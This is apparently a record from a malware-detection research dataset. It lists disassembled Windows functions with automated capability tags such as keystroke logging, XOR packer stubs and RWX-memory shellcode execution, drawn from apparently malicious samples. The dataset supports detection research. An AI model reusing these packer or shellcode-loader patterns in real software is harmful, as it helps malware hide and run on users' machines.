joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10037540
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x10083a30]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.10024e70
mov dword [ebp - 0x188], eax
test eax, eax
je 0x100376bb
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x10037595
mov edi, dword [sym.imp.USER32.dll_GetWindow]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 4
push esi
call edi
test eax, eax
jne 0x10037591
push esi
call ebx
test eax, eax
je 0x10037595
mov esi, eax
jmp 0x10037581
push 0x100
lea eax, [ebp - 0x184]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x100376ab
push 0x80
lea ecx, [ebp - 0x84]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x100376ab
lea edx, [ebp - 0x184]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, esi
jne 0x100376ab
test esi, esi
je 0x100376ab
push 0xfffffffffffffffc
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push esi
mov ebx, eax
call edi
mov ecx, dword [ebp - 0x188]
push 0
push ecx
mov esi, eax
call edi
mov edi, eax
test ebx, ebx
je 0x100376ab
cmp edi, esi
je 0x100376ab
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push esi
push edi
call ebx
test eax, eax
je 0x10037658
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push esi
push edi
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call esi
push 2
lea ecx, [ebp - 0x190]
push ecx
push 0
push 0x2001
mov dword [ebp - 0x190], 0
call esi
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call esi
mov ecx, dword [ebp - 0x188]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054c82
mov esp, ebp
pop ebp
ret

Function at 0x100377b0
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x100377c0
mov eax, dword [ecx + 4]
push eax
call dword [sym.imp.kernel32.dll_ResumeThread]
ret
Function at 0x100377e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005b5b3
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10083a30]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], edi
mov byte [esi + 0x10], 1
call fcn.10024e70
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push edi
push edi
mov dword [ebp - 0x18], edx
call dword [sym.imp.msvcr100.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10037869
mov dword [esi + 0xc], 0x20
mov dword [esi + 8], edi
mov dword [esi + 4], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov dword [esi + 8], ecx
mov eax, dword [0x10083aa8]
cmp eax, edi
jne 0x1003787d
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov edx, dword [ebp - 0x18]
mov dword [eax + 0x52], ebx
mov dword [eax + 0x56], edx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10037b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083674]
cmp eax, 0xffffffff
je 0x10037bb0
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10037ba1
cmp esi, dword [0x10083be8]
jne 0x10037b8a
mov dword [0x10083be8], 0
mov ecx, esi
call fcn.100204a0
mov ecx, esi
call fcn.10024e70
push esi
call sub.msvcr100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [0x10083674]
push 0
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret

Function at 0x10037bc0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083be8]
test eax, eax
jne 0x10037c2a
mov eax, dword [0x10083674]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10037c2a
push esi
push 0x16c
call sub.msvcr100.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10037bf6
mov ecx, eax
call fcn.10024e70
mov esi, eax
jmp 0x10037bf8
xor esi, esi
cmp byte [0x10083be4], 0
jne 0x10037c12
mov ecx, esi
mov dword [0x10083be8], esi
call fcn.10020760
mov eax, esi
pop esi
ret
mov ecx, dword [0x10083674]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.10020760
mov eax, esi
pop esi
ret

Function at 0x100437c0
Capabilities:
Encode data using xor

Disassembly:
movzx ecx, word [edx]
xor eax, eax
test cx, cx
je 0x100437e6
lea ebx, [ebx]
imul eax, eax, 0xf4243
movzx ecx, cx
add edx, 2
xor eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x100437d0
ret

Function at 0x10054c82
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10083a30]
jne 0x10054c8c
repz ret
jmp fcn.100553c9
Function at 0x10001000
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x1002e074]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x24c], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
movzx ecx, word [esi]
add esi, 2
cmp ecx, 0x22
jne 0x10001070
push ecx
push esi
call fcn.10008162
mov edx, eax
add esp, 8
test edx, edx
je 0x10001087
mov ecx, edx
lea esi, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001050
sub ecx, esi
sar ecx, 1
cmp ecx, 2
ja 0x1000106b
mov esi, 0x10024738
jmp 0x10001087
lea esi, [edx + 4]
jmp 0x10001087
push 0x20
push esi
call fcn.10008162
add esp, 8
mov esi, 0x1002473c
test eax, eax
je 0x10001087
lea esi, [eax + 2]
push 0x208
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.10008540
mov ax, word [0x10024748]
movq xmm0, qword [str.PBVM]
push 0x32
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x36]
push 0
push eax
movq qword [ebp - 0x40], xmm0
call fcn.10008540
lea ecx, [ebp - 0x40]
add esp, 0x18
add ecx, 0xfffffffe
nop word [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x100010d0
mov eax, dword [str..dll]
mov dword [ecx], eax
mov eax, dword [0x10024750]
mov dword [ecx + 4], eax
mov ax, word [0x10024754]
mov word [ecx + 8], ax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.100019a0
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1000115f
lea ecx, [ebp - 0x248]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001120
sub ecx, edx
sar ecx, 1
je 0x1000114a
push 0x1010
push 0x10024758
lea eax, [ebp - 0x248]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10007464
mov esp, ebp
pop ebp
ret 0x10
push str.PBHostAttachedDebug
push esi
call fcn.100082cd
add esp, 8
test eax, eax
je 0x10001186
push str.PD_HostAttachedTarget
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10001192
or esi, 0xffffffff
jmp 0x100011a8
push str.FN_RunExecutable
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0x3e8
push dword [ebp + 0x14]
push esi
push dword [ebp - 0x24c]
push ebx
call eax
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007464
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100014e0
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x421c
call fcn.10007480
mov eax, dword [0x1002e074]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push 0x208
mov dword [ebp - 0x421c], eax
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.10008540
push 0x4000
lea eax, [ebp - 0x420c]
push 0
push eax
call fcn.10008540
mov ecx, edi
add esp, 0x18
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001540
sub ecx, edx
sar ecx, 1
cmp ecx, 0xb
jne 0x100016b8
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x20c]
push str.SoftwareSybasePowerBuilder_Runtime
push 0x1002422c
push eax
call edi
add esp, 0x10
mov dword [ebp - 0x4218], 0x104
lea eax, [ebp - 0x4210]
mov dword [ebp - 0x4214], 1
mov dword [ebp - 0x4210], 0
push eax
push 1
push 0
lea eax, [ebp - 0x20c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100015e7
mov eax, dword [ebp - 0x4210]
test eax, eax
je 0x100015e7
lea ecx, [ebp - 0x4218]
push ecx
push esi
lea ecx, [ebp - 0x4214]
push ecx
push 0
push 0x10024238
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x4210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100015f0
sub ecx, edx
sar ecx, 1
je 0x100016b8
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.10008540
push dword [ebp - 0x421c]
lea eax, [ebp - 0x20c]
push esi
push 0x1002424c
push eax
call edi
add esp, 0x1c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100016b8
push esi
push 0x10024268
lea eax, [ebp - 0x420c]
push 0x2000
push eax
call fcn.10002450
add esp, 0x10
mov esi, ebx
nop
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x10001660
lea edi, [ebp - 0x420c]
sub ebx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10001676
mov ecx, ebx
lea eax, [ebp - 0x420c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.Path
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10007464
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007464
mov esp, ebp
pop ebp
ret
Function at 0x100017b0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x1002e074]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, esi
push edi
mov dword [ebp - 0x80], esi
lea edi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x100017d7
sub eax, edi
sar eax, 1
jne 0x100017f3
push edx
push str.There_is_currently_no_matching_version__Lowest_Supported_Version:__s
jmp 0x100018d7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1000180a
push esi
push str.Runtime_path_not_exist__path:__s_
jmp 0x100018d7
movups xmm0, xmmword [str.VCRUNTIME140_1.dll]
mov eax, dword [0x100243bc]
lea edi, [ebp - 0x54]
mov dword [ebp - 0x5c], eax
mov esi, 1
movzx eax, word [0x100243c0]
movups xmmword [ebp - 0x7c], xmm0
mov word [ebp - 0x58], ax
xor eax, eax
movups xmm0, xmmword [0x100243ac]
mov word [ebp - 0x56], ax
movzx eax, word [0x10024354]
movups xmmword [ebp - 0x6c], xmm0
mov word [ebp - 0x34], ax
xor eax, eax
movups xmm0, xmmword [str.VCRUNTIME140.dll]
mov dword [ebp - 0x32], eax
mov word [ebp - 0x2e], ax
movzx eax, word [0x100243dc]
movups xmmword [ebp - 0x54], xmm0
mov word [ebp - 0x14], ax
movups xmm0, xmmword [0x10024344]
mov dword [ebp - 0xa], 0
mov word [ebp - 6], 0
movups xmmword [ebp - 0x44], xmm0
movups xmm0, xmmword [str.msvcp140.dll]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [0x100243d4]
movq qword [ebp - 0x1c], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x12], xmm0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x100018c8
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc esi
add edi, 0x28
cmp esi, 3
jb 0x100018a3
push dword [ebp - 0x80]
push str.Load_library_failed__dll_name:_pbvm.dll__runtime_path:_s
jmp 0x100018d7
lea eax, [esi + esi*4]
lea ecx, [ebp - 0x7c]
lea eax, [ecx + eax*8]
push eax
push str.The_program_cant_start_because__s_is_missing_from_your_computer.
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.10007464
mov esp, ebp
pop ebp
ret
Function at 0x10004710
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], edi
mov esi, dword [edi + 0x14]
test esi, esi
je 0x10004734
mov ecx, esi
mov esi, dword [esi + 0x2c]
push 1
mov eax, dword [ecx]
call dword [eax]
test esi, esi
jne 0x10004725
push dword [ebp + 8]
lea ecx, [edi + 0x1c]
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 8], 0xffffffff
mov dword [edi + 4], 0xffffffff
call fcn.10005220
cmp dword [edi + 0x20], 0
je 0x10004766
mov eax, dword [edi + 0x1c]
jmp 0x1000476b
mov eax, 0x10024c60
push 0x100249b0
push eax
call fcn.100096c8
mov ebx, eax
add esp, 8
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x100048e0
push 2
push 0
push ebx
call fcn.1000be35
push ebx
call fcn.10013ac3
push 0
mov esi, eax
push 0
push ebx
mov dword [ebp + 8], esi
call fcn.1000be35
add esp, 0x1c
test esi, esi
jne 0x100047c0
push ebx
call fcn.1000b7d4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
mov dword [ebp - 0x18], 0
mov eax, esi
mov dword [ebp - 0x14], esi
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10007456
xor ecx, ecx
mov dword [ebp - 0x18], eax
push esi
mov word [eax], cx
mov dword [ebp - 0x10], ecx
call fcn.10007456
push esi
mov edi, eax
push 0
push edi
mov dword [ebp - 4], edi
call fcn.10008540
push ebx
push esi
push 1
push edi
call fcn.1000ba3e
add esp, 0x24
test eax, eax
jne 0x10004828
push edi
call fcn.1000745f
push ebx
call fcn.1000b7d4
add esp, 8
xor bl, bl
jmp 0x100048c5
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push esi
push edi
push 0
push 0xfde9
call ebx
mov esi, eax
xor ecx, ecx
mov edx, 2
lea eax, [esi + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10007456
lea ecx, [esi*2 + 2]
mov edi, eax
push ecx
push 0
push edi
call fcn.10008540
add esp, 0x10
push esi
mov esi, dword [ebp - 4]
push edi
push dword [ebp + 8]
push esi
push 0
push 0xfde9
call ebx
push edi
lea ecx, [ebp - 0x18]
call fcn.10005220
push esi
call fcn.1000745f
push edi
call fcn.1000745f
push dword [ebp - 8]
call fcn.1000b7d4
mov esi, dword [ebp - 0xc]
add esp, 0xc
cmp dword [ebp - 0x14], 0
mov ecx, 0x10024c60
cmovne ecx, dword [ebp - 0x18]
mov eax, dword [esi]
push 0
push ecx
mov ecx, esi
call dword [eax + 0xc]
cmp byte [esi + 0x34], 0
je 0x100048c3
xor bl, bl
jmp 0x100048c5
mov bl, 1
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100048d5
push eax
call fcn.1000745f
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0
push 2
mov ecx, edi
call fcn.10007160
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10018d86
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10018bfc

Function at 0x10019725
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100196a7
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4011f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x88ce78]
mov ecx, dword [0x88bdcc]
shr eax, 3
sub esp, 0x820
test eax, eax
jbe 0x4012e3
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
lea ebx, [ebx]
cmp dword [0x88ce78], 0x959
jne 0x4012c9
push 0
call esi
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push str.Yeda_defuhacurihe
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
lea eax, [ebp - 0x820]
push eax
push 0
push str.Vekojadofoy_nari_xigajimasuha
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
xor eax, eax
push eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
push 0
push 0
push 0
push 0
push 0
push str.Joceterewi_dapubigemal
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov eax, dword [ebp - 4]
push eax
call fcn.00401020
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x401230
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4023d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46d0c8]
jne 0x4023da
repz ret
jmp fcn.004047be

Function at 0x4043eb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402451
and dword [ebp - 4], 0
cmp dword [0x46e808], 0
mov ebx, eax
jne 0x40449c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40454d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40454d
push eax
call fcn.004023df
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x46e808], eax
call esi
push eax
call fcn.004023df
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x46e80c], eax
call esi
push eax
call fcn.004023df
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46e810], eax
call esi
push eax
call fcn.004023df
pop ecx
mov dword [0x46e818], eax
test eax, eax
je 0x40449c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004023df
pop ecx
mov dword [0x46e814], eax
mov eax, dword [0x46e814]
cmp eax, ebx
je 0x4044f4
cmp dword [0x46e818], ebx
je 0x4044f4
push eax
call fcn.0040245a
push dword [0x46e818]
mov esi, eax
call fcn.0040245a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4044f4
test edi, edi
je 0x4044f4
call esi
test eax, eax
je 0x4044eb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4044eb
test byte [ebp - 0xc], 1
jne 0x4044f4
or dword [ebp + 0x10], 0x200000
jmp 0x40452d
mov eax, dword [0x46e80c]
cmp eax, ebx
je 0x40452d
push eax
call fcn.0040245a
pop ecx
test eax, eax
je 0x40452d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40452d
mov eax, dword [0x46e810]
cmp eax, ebx
je 0x40452d
push eax
call fcn.0040245a
pop ecx
test eax, eax
je 0x40452d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46e808]
call fcn.0040245a
pop ecx
test eax, eax
je 0x40454d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40454f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x431072
nop
nop
mov ebx, 0x40915c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x44191915
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4310d2
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0xb4f2b77
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401370
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0xc2f580]
sub esp, 0x4b4
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x401406
lea eax, [ebp - 4]
push eax
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 5]
push edx
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.duma
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401e1a
push 0
push 0
call fcn.00401adc
add esp, 0xc
push 0
call fcn.004020d0
add eax, 0x1134b
push eax
push 0
mov dword [0xc2f580], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0xc2f580]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push edx
push eax
mov dword [0xc2e4d4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x2710
jge 0x401453
lea eax, [ebp - 0x4b0]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401440
xor esi, esi
cmp dword [0xc2f580], esi
jbe 0x4014ad
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea esp, [esp]
mov ecx, dword [0xc2f584]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0xc2e4d4]
mov byte [eax + esi], dl
cmp dword [0xc2f580], 0xa8
jne 0x4014a4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0xb0]
push ecx
call edi
inc esi
cmp esi, dword [0xc2f580]
jb 0x401470
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [ebp - 4], eax
mov edx, dword [0xc2f580]
add edx, eax
cmp edx, 0xe
jne 0x401516
push 0
push 0
push str.axugu
call esi
push str.vovufizifibonetebow_sef_cewuzigo
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [ebp - 4]
inc eax
cmp eax, 0x39621
mov dword [ebp - 4], eax
jl 0x4014c4
call fcn.00401250
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
call edi
cmp esi, 0x26
jne 0x40153c
call fcn.00401350
inc esi
cmp esi, 0x6753f
jl 0x401530
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, 0x7b
cmp dword [0xc2f580], 0x86
jne 0x40156c
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub edi, 1
jne 0x401550
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret